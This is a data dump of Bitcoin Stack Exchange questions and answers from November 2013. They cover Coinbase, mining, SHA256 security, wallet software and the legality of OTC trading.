  <row Id="17109" PostTypeId="2" ParentId="17104" CreationDate="2013-11-23T01:22:15.203" Score="-2" Body="&lt;p&gt;I would recommend contacting an administrator immediately. One thing is certain: they didn't just disappear into thin air. Most transactions take place under 24 hours, so it is highly unlikely that they will just show up in a week; however, don't be too disappointed about not getting them right away because they have been going up in value over the last few days&lt;/p&gt;&#xA;" OwnerUserId="9132" LastEditorUserId="4748" LastEditDate="2013-11-23T18:56:51.853" LastActivityDate="2013-11-23T18:56:51.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17110" PostTypeId="1" CreationDate="2013-11-23T01:29:34.757" Score="0" ViewCount="1451" Body="&lt;p&gt;How much of what this article says is true?  I thought I had read that bitcoin miners are the ones who maintain the blockchain.  Do they also do something other than maintaining the blockchain?  In particular, things that no one would otherwise want done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gizmodo.com/the-worlds-most-powerful-computer-network-is-being-was-504503726&quot; rel=&quot;nofollow&quot;&gt;http://gizmodo.com/the-worlds-most-powerful-computer-network-is-being-was-504503726&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="492" LastEditorUserId="5406" LastEditDate="2016-04-28T13:37:05.447" LastActivityDate="2016-04-28T13:37:05.447" Title="Uses of computing power by bitcoin miners" Tags="|blockchain|mining-theory|energy-consumption|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17111" PostTypeId="2" ParentId="17054" CreationDate="2013-11-23T02:03:42.197" Score="4" Body="&lt;p&gt;&lt;strong&gt;They'll be useless.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the name pretty much says it all: &lt;a href=&quot;http://en.wikipedia.org/wiki/Application-specific_integrated_circuit&quot; rel=&quot;nofollow&quot;&gt;Application &lt;strong&gt;Specific&lt;/strong&gt; Integrated Circuit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why &lt;a href=&quot;http://en.wikipedia.org/wiki/Field-programmable_gate_array&quot; rel=&quot;nofollow&quot;&gt;FPGA's&lt;/a&gt; (field-programmable gate array) were such a huge success. You'd have a circuit that you could program! While much slower the possibilities are practically endless.&lt;/p&gt;&#xA;" OwnerUserId="4994" LastEditorUserId="4994" LastEditDate="2013-11-24T00:17:28.477" LastActivityDate="2013-11-24T00:17:28.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17112" PostTypeId="2" ParentId="8193" CreationDate="2013-11-23T02:31:32.680" Score="0" Body="&lt;p&gt;SUSPICIOUS ACTIVITY REPORT (&quot;SAR&quot;) FILING REQUIREMENTS&#xA;&lt;a href=&quot;http://www.fincen.gov/forms/files/FinCEN%20SAR%20ElectronicFilingInstructions-%20Stand%20Alone%20doc.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.fincen.gov/forms/files/FinCEN%20SAR%20ElectronicFilingInstructions-%20Stand%20Alone%20doc.pdf&lt;/a&gt;  page 80&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MONEY SERVICE BUSINESS DEFINITION&#xA;&lt;a href=&quot;http://www.fincen.gov/financial_institutions/msb/definitions/msb.html&quot; rel=&quot;nofollow&quot;&gt;http://www.fincen.gov/financial_institutions/msb/definitions/msb.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope the above helps answer your questions.&lt;/p&gt;&#xA;" OwnerUserId="8955" LastActivityDate="2013-11-23T02:31:32.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17113" PostTypeId="1" CreationDate="2013-11-23T02:38:28.240" Score="4" ViewCount="11157" Body="&lt;p&gt;I purchased a bitcoin using a Coinbase account. When I try to verify that transaction to the address, I can't see any activity or balance for the bitcoin address that Coinbase shows as mine. Coinbase, however, still shows my purchase activity and balance correctly on my account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has this something to do with the way Coinbase or such wallet services work? Or is there something wrong? Do I actually have the bitcoin or not?&lt;/p&gt;&#xA;" OwnerUserId="9183" LastActivityDate="2017-12-26T07:28:03.697" Title="Bitcoin address does not show transaction/balance from Coinbase purchase" Tags="|transactions|wallet|address|buy-bitcoins|coinbase.com|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17114" PostTypeId="2" ParentId="12228" CreationDate="2013-11-23T02:47:48.417" Score="5" Body="&lt;p&gt;It's most likely that Coinbase keeps a reasonable reserve of both dollars and BTC on hand, to instantly provide either USD or BTC to clients. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They probably have a &quot;treasury manager&quot; on staff, whose job is to buy BTC at the lowest possible prices and sell BTC at the highest possible prices on various exchanges or dark pools, to keep the reserves topped up in cases when daily Coinbase usage is very one-sided. But in general I'm sure they greatly prefer to meet demand internally to replenish reserves vs. having to pay a third-party fee to get or sell BTC elsewhere, unless their treasury manager sees a &quot;screaming deal&quot; on an exchange (e.g. current coinbase price is $800 and they can get some for $600, or sell for $1,000). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past, you'd sometimes get the message that they're &quot;tapped out&quot;, meaning trading was so one-sided they used up their daily reserves, and the EFT transactions of the Coinbase users hadn't settled yet. For example, say they have 1,000 BTC in reserves, but 1,500 users all want to buy 1 BTC each that day. Coinbase would fill 1,000 orders, but it wouldn't yet have the cash from the 1,500 user bank accounts to go buy more BTC on the exchanges. That is happening less and less often (as Coinbase gets deeper and deeper pockets).&lt;/p&gt;&#xA;" OwnerUserId="9184" LastActivityDate="2013-11-23T02:47:48.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17115" PostTypeId="2" ParentId="12228" CreationDate="2013-11-23T03:36:01.330" Score="9" Body="&lt;p&gt;Coinbase is built on top of &lt;a href=&quot;https://www.bitstamp.net/&quot;&gt;Bitstamp&lt;/a&gt;. They may work with other exchanges now, but they are (and used to be) very tightly coupled with Bitstamp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was an &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1mjjfb/how_i_successfully_manipulated_coinbases_price/&quot;&gt;exploit&lt;/a&gt; where someone discovered that Coinbase's price was set to the last sale price on Bitstamp.  Basically, this person would sell a small amount of Bitcoin for much lower than market value on Bitstamp.  Coinbases price would match that, where he'd buy again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase does operate their own reserves as well, which (as others have pointed out) are used when Coinbase customers buy and sell within the site.  Their prices are set using a &lt;a href=&quot;http://www.reddit.com/r/BitcoinMarkets/comments/1rl5zv/coinbase_sell_price_higher_than_bitstamp_today/cdodlzk&quot;&gt;weighted average of multiple exchanges&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7453" LastEditorUserId="7453" LastEditDate="2013-11-27T21:25:41.033" LastActivityDate="2013-11-27T21:25:41.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17117" PostTypeId="2" ParentId="17108" CreationDate="2013-11-23T04:00:02.003" Score="2" Body="&lt;p&gt;If your (UK) business is in an area where you have specific regulations to follow for anti-money laundering, and you do, you will already know the answer. (If it is not in the UK, you may have to find out if dealing with UK-registered Bitstamp means you'll have to start complying with UK law and its requirements like KYC: Know Your Customer.) Otherwise,  the first answer is likely no and the follow-up questions are not applicable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Commonly, KYC includes requiring a scan or photocopy of customer's photoid (passport or driving permit) and&#xA;of a proof of address (utility bill), and checking that they are not on a list of people the UK does not allow you to do business with.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-11-23T04:07:29.297" LastActivityDate="2013-11-23T04:07:29.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17118" PostTypeId="2" ParentId="17100" CreationDate="2013-11-23T04:00:25.447" Score="2" Body="&lt;p&gt;Yes you should be running something like &lt;a href=&quot;https://github.com/ckolivas/cgminer&quot; rel=&quot;nofollow&quot;&gt;cgminer&lt;/a&gt; or &lt;a href=&quot;https://github.com/luke-jr/bfgminer&quot; rel=&quot;nofollow&quot;&gt;bfgminer&lt;/a&gt; which can join a pool and mine while your client is still downloading the blockchain.  You only need your own blockchain to do solo mining, and unless you are running a lot of very fast asics you will want to continue mining in the pool.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-11-23T04:00:25.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17128" PostTypeId="2" ParentId="17045" CreationDate="2013-11-23T06:56:47.110" Score="0" Body="&lt;p&gt;No worries mate, once the blockchain syncs, you'll see the transaction. Remember, it was 24 weeks ago, so probably a couple days till the 24 weeks sync up and then you'll see yours.&lt;/p&gt;&#xA;" OwnerUserId="9189" LastEditorUserId="1875" LastEditDate="2013-11-23T09:51:32.717" LastActivityDate="2013-11-23T09:51:32.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17132" PostTypeId="1" CreationDate="2013-11-23T08:57:22.577" Score="24" ViewCount="20472" Body="&lt;p&gt;Following good scientific practice I propose a Theory/Hypothesis and now ask you to test it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially this is a &quot;thought&quot; experiment but may progress to real testing depending on your thoughts. Back to the initial question first; My question: Is bitcoin mining itself compromising the security of SHA256?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible answers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Yes (maybe qualified by &quot;in some way&quot; ,etc).&lt;/li&gt;&#xA;&lt;li&gt;No (Not at all because...xxx ,Not unless...YYY).&lt;/li&gt;&#xA;&lt;li&gt;Maybe (??).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The hypothesis is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHA256 is extensively used in many applications (including Bitcoin).&#xA;It would be of great advantage for many persons, organisations and (not least) governments/military/NSA (etc) to be able to &quot;crack&quot; it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cryptographic experts have so far failed to crack SHA256 and only a small number of defects (possible collision scenarios) have been declared which although reducing the theoretical security (of a brute force attack) do not compromise SHA256 in practical use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHA256 look up tables exist for e.g. dictionary attacks and are very fast to use particularly for shorter passwords (&amp;lt;8 character). To extend the possibility of using look up tables for longer inputs a huge amount of computing power is needed to run many Terra inputs through SHA256.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This power is impractical to set up and run (cost of hardware, manpower, etc) and if it were set up e.g. by NSA using a super-computer it existence would be apparent and therefore usage of SHA256 would decline as it would be assumed that they wouldn't do that unless they thought they would get a result so users of SHA256 would migrate to a more secure system (e.g. SHA3 series). Therefore what NSA (or whoever) need is a &quot;covert&quot; way of &quot;testing/running&quot; SHA256 and gathering the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is bitcoin mining with its daily 4000+ TH/s power, funded and manned entirely by users of the hardware hoping to gain Bitcoins (and hoping they are worth some real $$) really performing a service for the NSA (or someone) and effectively &quot;hiding in plain sight&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Methods of testing this hypothesis are invited.  &lt;/p&gt;&#xA;" OwnerUserId="9171" LastEditorUserId="1875" LastEditDate="2013-11-23T18:56:46.757" LastActivityDate="2014-01-14T07:13:27.767" Title="Is bitcoin mining itself compromising the security of SHA256" Tags="|blockchain|sha256|satoshi-nakamoto|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17134" PostTypeId="2" ParentId="17132" CreationDate="2013-11-23T09:33:14.840" Score="11" Body="&lt;p&gt;With a look up table you can avoid calculating the hash of a given input twice. Indeed, the block chain can be considered as a giant look up table, but one with very special forms of inputs: It links blocks and transactions to their hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though, why should someone choose a transaction or block as her password? Further, why would an attacker even try to look up a hash of a password in the block chain? He would have to assume in advance that the password is a transaction or a block (don't forget that even looking something up consumes some resources).&lt;/p&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2013-11-23T09:33:14.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17135" PostTypeId="2" ParentId="17110" CreationDate="2013-11-23T09:46:24.040" Score="1" Body="&lt;p&gt;YES.&#xA;1)They help maintain the reputation of bitcoin by showing how it &quot;works&quot; and demonstrating that you can make money AND THEREFORE&#xA;2)They help encourage the developement of more powerful mining rigs and the business sector that makes them AND&#xA;3)They encourage more mining activity AND&#xA;4)They increase the difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GO TO 2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, just forgot one..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5)They help keep the planet nice and warm with all the electricity converted to heat by the mining rigs (I do hate being cold !).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6)AND ALSO (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/17132/is-bitcoin-mining-itself-compromising-the-security-of-sha256&quot;&gt;see my previously posted question&lt;/a&gt;): The may(or may not) be effectively working for the NSA (or someone) by helping to crack and/or obtain hash results of SHA256 which may (or may not) be useful (for someone to do something) such as constructing a larger look up table for SHA256 (e.g. crack longer length passwords.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose if you own a nice big mining rig (or otherwise have &quot;control&quot; of someone else's) it might be more cost effective to use it to hack into something rather than mine coins so I think one answer to the question would be &quot;Yes, but not bitcoin mining if you choose to use the rig for something else more profitable and are dishonest/criminally minded&quot;.&lt;/p&gt;&#xA;" OwnerUserId="9171" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-11-23T18:56:30.787" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17136" PostTypeId="1" CreationDate="2013-11-23T09:48:28.313" Score="2" ViewCount="2178" Body="&lt;p&gt;What is currently the best way to purchase Mastercoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there exchanges out yet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need some special Mastercoin-Address/Wallet?&lt;/p&gt;&#xA;" OwnerUserId="9192" LastEditorUserId="5406" LastEditDate="2014-02-14T20:05:49.127" LastActivityDate="2017-11-18T11:14:51.930" Title="How can I buy Mastercoins?" Tags="|exchanges|alternatives|omni|" AnswerCount="1" CommentCount="2" ClosedDate="2017-11-22T04:33:12.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="17137" PostTypeId="2" ParentId="12471" CreationDate="2013-11-23T09:58:32.933" Score="2" Body="&lt;p&gt;Well, the answer to this question mostly depends on what kind of implementation you choose for your multiple-input 32-bit wide adders (there are several different solutions to this speed versus gate count trade-off). Usually, when using the term &quot;gate equivalent,&quot; engineers are talking about FPGAs, where it is a cool marketing slogan that tries to persuade you that the FPGA is much more powerful that you'd think from its number of logical elements because some of them can implement complicated circuits that would need a high number of gates otherwise. In this case, you will almost certainly use whatever special provisions your FPGA chip has for wide additions (and your GE count will depend on whatever its manufacturer's marketting department believes to get away with for translating that into &quot;typical&quot; gate counts of comparable circuits).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your goal is to estimate how much of SHA256 you can fit into a given FPGA, you may be even better off comparing with what others have achieved. This may take a bit of digging, but will give you good estimates. &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison#FPGA&quot; rel=&quot;nofollow&quot;&gt;The FPGA section of this wiki page for mining hardware comparison&lt;/a&gt; could give you initial links. I don't have numbers at the ready, but I remember having concluded ca. 15 month ago that those FPGAs that were mature enough then to have single-unit bare chip retail prices around 100 $ (the most computing per money you could get then) tended to be just about big enough for a fully unrolled and fully pipelined double-SHA256 implementation.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-11-23T20:13:44.757" LastActivityDate="2013-11-23T20:13:44.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17139" PostTypeId="2" ParentId="17132" CreationDate="2013-11-23T10:16:43.773" Score="8" Body="&lt;p&gt;Hardly. Whilst you are correct that what people are doing is a massively parallel search for double-SHA256 hash collisions to hash outputs near zero, you can only take advantage of the result if you actually find a collision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how often can we get a collision? If it were not for Bitcoin, with 2^256 possible inputs and the hash believed to not have any weaknesses, you'd statistically expect you have to try 2^128 or about 10^38 hashes to find a single collision in what is called a birthday attack. Hopeless today and tomorrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Bitcoin, you might hope to take advantage of hashes that miners found and published in the blockchain. There are two problems: First of all, you only see these published blocks, so the advantage goes into having helpers to reduce the 2^256 possibilities, not the square root of the resulting number (the expected number of known hashes you need for a birthday attack). But for the sake of the argument, let us say you are the miners and record every hash you try. Then all that Bitcoin gives you is some reward for running your machine, currently with about 6000 Tera hashes per second. With such computing, you will still, statistically, need &gt;10^15 years to get a single hash collision. I'd say there is zero danger to double-SHA256 from this (and, by the same argument, SHA256 which you could attack by recording the intermediate single-SHA256 results).&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-23T10:16:43.773" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17140" PostTypeId="1" CreationDate="2013-11-23T11:45:59.877" Score="1" ViewCount="253" Body="&lt;p&gt;I have Multibit and want to export my private keys as a backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I cant see my external usb as a option when selecting a destination to export to.  Is this because cant export the private keys directly to a usb?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Once exported, is that it to make a back up of the private keys, or do you then have to re-import the private keys to transact in the wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9200" LastActivityDate="2014-03-31T22:59:35.070" Title="Multibit export private key to usb possible?" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17141" PostTypeId="1" CreationDate="2013-11-23T11:46:26.957" Score="2" ViewCount="288" Body="&lt;p&gt;After looking at the hashrate repartition &lt;a href=&quot;https://blockchain.info/fr/pools&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/fr/pools&lt;/a&gt;.&#xA;It seems to me that bitcoin is quite centralized, and that two big actors (mining pools company who run the bitcoind server) like &lt;em&gt;BTC guild&lt;/em&gt; and &lt;em&gt;GHash.IO&lt;/em&gt; suffice to obtain the mythical 51% computing power, allowing various kinds of attacks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do we know that these two guilds are not the same person, or will not collude?&#xA;In the event that such collusion happens, and malicious double spending* occurs or other attack occurs, how do we detect it? What happens when we do detect it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Double spending doesn't have to be malicious: &lt;a href=&quot;https://blockchain.info/fr/double-spends&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/fr/double-spends&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9198" LastEditorUserId="5406" LastEditDate="2013-11-24T09:58:12.347" LastActivityDate="2014-12-12T04:13:31.763" Title="Do we know who runs the big mining pools?" Tags="|privacy|blockchain-fork|decentralization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17142" PostTypeId="1" CreationDate="2013-11-23T11:58:57.150" Score="2" ViewCount="548" Body="&lt;p&gt;I don't really understand how the Mastercoin mechanics work, do I need a special client when operating with Mastercoins? And how should I proceed with the initial investment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to recieve MCSs would I use my BTC wallet and if so how do I know the amount of MSCs in my address?&lt;/p&gt;&#xA;" OwnerUserId="9201" LastEditorUserId="120" LastEditDate="2013-11-23T12:06:12.600" LastActivityDate="2013-12-31T16:45:58.150" Title="How does one send and receive Mastercoins?" Tags="|wallet|omni|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17144" PostTypeId="1" CreationDate="2013-11-23T12:28:06.563" Score="1" ViewCount="999" Body="&lt;p&gt;I had Multibit installed on my last mac computer around April 2013, that computer broke and I have had the hard drive recovered. I now have the files from that past Multibit on my new mac, including files named multi bit.wallet and multi bit-xxxxxxxxxx.wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about recovering my bitcoin on my new computer?&lt;/p&gt;&#xA;" OwnerUserId="9203" LastEditorUserId="5406" LastEditDate="2013-11-25T10:46:27.447" LastActivityDate="2014-04-24T18:06:43.333" Title="Recover Multibit Wallet on Mac" Tags="|multibit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17146" PostTypeId="1" CreationDate="2013-11-23T12:46:13.873" Score="1" ViewCount="363" Body="&lt;p&gt;Is the label of an address visible for another people  ?&lt;/p&gt;&#xA;" OwnerUserId="9205" LastActivityDate="2013-11-23T17:03:09.660" Title="Is the label of an address visible for another people?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17147" PostTypeId="1" AcceptedAnswerId="17177" CreationDate="2013-11-23T12:59:49.510" Score="1" ViewCount="1129" Body="&lt;p&gt;I have 2 wallets, and was about to send bitcoins from 1 wallet to another.  I noticed that I had to pay a fee of 0.0001BTC.  Where does that fee go?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my wallets was created using bitcoin-qt and the other wallet was created using multibit.&lt;/p&gt;&#xA;" OwnerUserId="4823" LastActivityDate="2013-11-23T23:59:53.017" Title="Where do bitcoin transaction fees go" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-25T09:36:12.923" ContentLicense="CC BY-SA 3.0" />
  <row Id="17148" PostTypeId="1" CreationDate="2013-11-23T13:02:34.443" Score="2" ViewCount="3657" Body="&lt;p&gt;I had three addresses containing BTC in my main Electrum wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then performed more than three sends, to addresses not in my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first three sends used main wallet addresses to send BTC from, depositing the change each time in the first change address where it gathered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sends after that sent BTC from my first change address, but they sent any change back to the same change address, which isn't ideal. How can I stop Electrum sending change to the change address it originated from, in these cases?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://docs.electrum.org/en/latest/faq.html#what-does-it-mean-to-freeze-an-address-in-electrum&quot; rel=&quot;nofollow noreferrer&quot;&gt;Electrum documentation&lt;/a&gt;, addresses can be frozen. This seems to only affect where BTC are taken from, however; the docs don't say how to affect where change goes.&lt;/p&gt;&#xA;" OwnerUserId="7260" LastEditorUserId="2814" LastEditDate="2017-06-07T17:02:59.283" LastActivityDate="2017-06-07T17:02:59.283" Title="How can I stop Electrum re-using change addresses?" Tags="|wallet|electrum|change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17149" PostTypeId="2" ParentId="16754" CreationDate="2013-11-23T13:11:19.440" Score="1" Body="&lt;p&gt;PPCoin and its offspring NovaCoin have an infinite money supply - even though the reward for blocks gets diminished over time (as in Bitcoin et al.), as the money supply increases there will be more and more coins offered as reward for simply hoarding the coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also built-in deflationary mechanisms for &lt;em&gt;destroying&lt;/em&gt; coins with every transaction, so hopefully the money-supply would self-adjust: increasing or expanding as needed, depending on how much it's actually used.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="4748" LastEditDate="2013-11-24T04:46:18.687" LastActivityDate="2013-11-24T04:46:18.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17154" PostTypeId="1" CreationDate="2013-11-23T15:16:06.880" Score="0" ViewCount="194" Body="&lt;p&gt;Which OS to use? How to verify that the OS is secure? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to download and install Electrum securely? There are many methods - binaries, git, homebrew, Ubuntu package, building from source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a tutorial that has step by step instructions on how to set up a secure environment for Electrum and use it securely?&lt;/p&gt;&#xA;" OwnerUserId="9013" LastActivityDate="2014-01-05T20:31:16.740" Title="Is there a tutorial on how to set up a secure enviroment and use Electrum?" Tags="|wallet|security|electrum|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17155" PostTypeId="2" ParentId="17148" CreationDate="2013-11-23T15:29:52.263" Score="1" Body="&lt;p&gt;Electrum waits for confirmations to create new addresses, so if you make new transactions before the previous ones are confirmed, you'll end up reusing the existing change addresses.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-11-23T15:29:52.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17156" PostTypeId="1" AcceptedAnswerId="17158" CreationDate="2013-11-23T15:30:59.827" Score="0" ViewCount="190" Body="&lt;p&gt;I get this warning on my Bitcoin client:&#xA;&quot;Warning: Displayed transactions may not be correct! You may need to upgrade, or other nodes may need to upgrade.&quot;&#xA;I am also downloading the blockchain and i am stuck at &quot;18 weeks behind&quot; for days now. Is everything alright?&lt;/p&gt;&#xA;" OwnerUserId="9164" LastActivityDate="2013-11-23T16:36:28.867" Title="Bitcoin client warning" Tags="|blockchain|client|bitcoin-core|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17158" PostTypeId="2" ParentId="17156" CreationDate="2013-11-23T16:36:28.867" Score="2" Body="&lt;p&gt;you should download the bootstrap.dat - this will take the time for the blockchains to catch up from days to two hours... google it. &lt;/p&gt;&#xA;" OwnerUserId="9210" LastActivityDate="2013-11-23T16:36:28.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17159" PostTypeId="2" ParentId="2013" CreationDate="2013-11-23T16:52:38.527" Score="10" Body="&lt;p&gt;Private keys are 256 bit numbers&lt;/p&gt;&#xA;&lt;p&gt;Public keys are a pair of X,Y coordinates.  Each coordinate is a 256 bit number.  BUT for every X coordinate there are only two possible Y coordinates (one positive, one negative) so you can store a public key as just the X coordinate (256 bits) and the sign of the Y coordinate (1 bit) and the proper Y coordinate can then be calculated from the X coordinate and the sign.&lt;/p&gt;&#xA;&lt;p&gt;So private key = 256 bits, public key = 2*256=512 bits OR 256+1=257 bits&lt;/p&gt;&#xA;&lt;p&gt;Then there is a small amount of formatting overhead of a few bits.&lt;/p&gt;&#xA;&lt;p&gt;Then these are encoded.&lt;/p&gt;&#xA;" OwnerUserId="9211" LastEditorUserId="116555" LastEditDate="2021-10-22T18:21:33.960" LastActivityDate="2021-10-22T18:21:33.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17160" PostTypeId="2" ParentId="17146" CreationDate="2013-11-23T17:03:09.660" Score="2" Body="&lt;p&gt;No. It's local to your wallet.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-11-23T17:03:09.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17161" PostTypeId="1" AcceptedAnswerId="17192" CreationDate="2013-11-23T17:43:12.133" Score="10" ViewCount="164" Body="&lt;p&gt;I am wondering if someone discovers a bug/exploit in Bitcoin software or protocol, who should it be disclosed to? Who is the authority? What would happen if the bug went public? Has it occurred in the past?&lt;/p&gt;&#xA;" OwnerUserId="9198" LastEditorUserId="5406" LastEditDate="2017-12-23T19:49:38.413" LastActivityDate="2017-12-23T19:49:38.413" Title="How can vulnerabilites in bitcoin be responsibly reported?" Tags="|security|bitcoin-core-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17162" PostTypeId="1" CreationDate="2013-11-23T17:53:10.590" Score="0" ViewCount="689" Body="&lt;p&gt;I am considering selling Bitcoin OTC.  As far as the legalities go, is it legal to anonymously trade Bitcoin for cash without taking KYC information and registering with FinCEN?  I know all the &quot;big boys&quot; like Gox require information but I am vehemently against that and I'm too small to pay all these registration fees as well as keep up on the behemoth of AML laws.  This is more for some extra side cash and to help people get BTC easily.  How big of a boy do you have to be?  I however do not want to do anything illegal.  I do not want feds showing up at my door.  What limits must I conform to in order to comply with the law?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I plan on doing local cash and bank deposits.  Will a bank flag you for having $1,000/mo being deposited into your account at random locations?  $10,000?  $20,000?  What are the limits before things get frozen and\or become illegal?  Before I have to become a legitimate MSB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make it clear that I do &lt;strong&gt;not&lt;/strong&gt; believe in tax evasion.  I plan on accurately reporting all profit made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do live in the US.  I will be selling in the US.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed this similar question (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12559/legal-issues-banking-issues-selling-bitcoins-to-people-otc&quot;&gt;Legal issues / banking issues selling Bitcoins to people OTC?&lt;/a&gt;) and it mentions a limit of $1,000 per day per person.  Does that mean I as a seller can not do more than $1,000 per day (since I am a person), or each individual person I deal wtih can't do over $1,000 per day?&lt;/p&gt;&#xA;" OwnerUserId="9214" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-11-24T22:03:00.510" Title="Is it illegal to trade Bitcoin OTC in the United States" Tags="|mtgox|legal|market|fincen|otc|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-25T09:35:29.687" ContentLicense="CC BY-SA 3.0" />
